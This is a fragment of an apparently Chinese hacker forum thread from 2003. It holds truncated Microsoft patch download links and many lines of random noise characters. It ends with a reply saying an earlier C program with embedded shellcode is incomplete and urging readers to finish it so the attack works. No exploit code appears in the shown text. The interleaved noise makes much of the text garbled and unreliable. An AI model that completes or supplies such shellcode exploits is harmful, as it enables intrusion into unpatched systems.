( k0 p; n8 T1 T, `5 r8 C* Q
http://microsoft.com/downloads/d ... &displaylang=en

Windows Server 2003 64 bit Edition：

7 `- j- T6 B( M! I1 s& M' |http://microsoft.com/downloads/d ... &displaylang=en
2 L! V# v6 h5 h) @% q, z
- t: |- D# }. o* M4 a# w* r

# ~# x5 X( X5 ~4 W# h$ F$ `2 y
% ?- i. ^4 U' x) r5 i! p

[此贴子已经被作者于2003-8-9 23:05:32编辑过]

3 j2 }( C7 [8 X: {3 t- X( c

ASEE

上述那段捆绑了SHELL CODE的C代码还不完整，没有处理返回的数据，因此VC下编译后的程序执行后没有反应，大家如果有兴趣研究的话，可以补充完整（俺工作太忙，没有太多的时间去补充，Hoho,不要成为只会使用工具的“伪黑客”，说白了，只会使用工具的人都是菜鸟，网络原理都弄不清楚，还搞什么攻击，KAO）。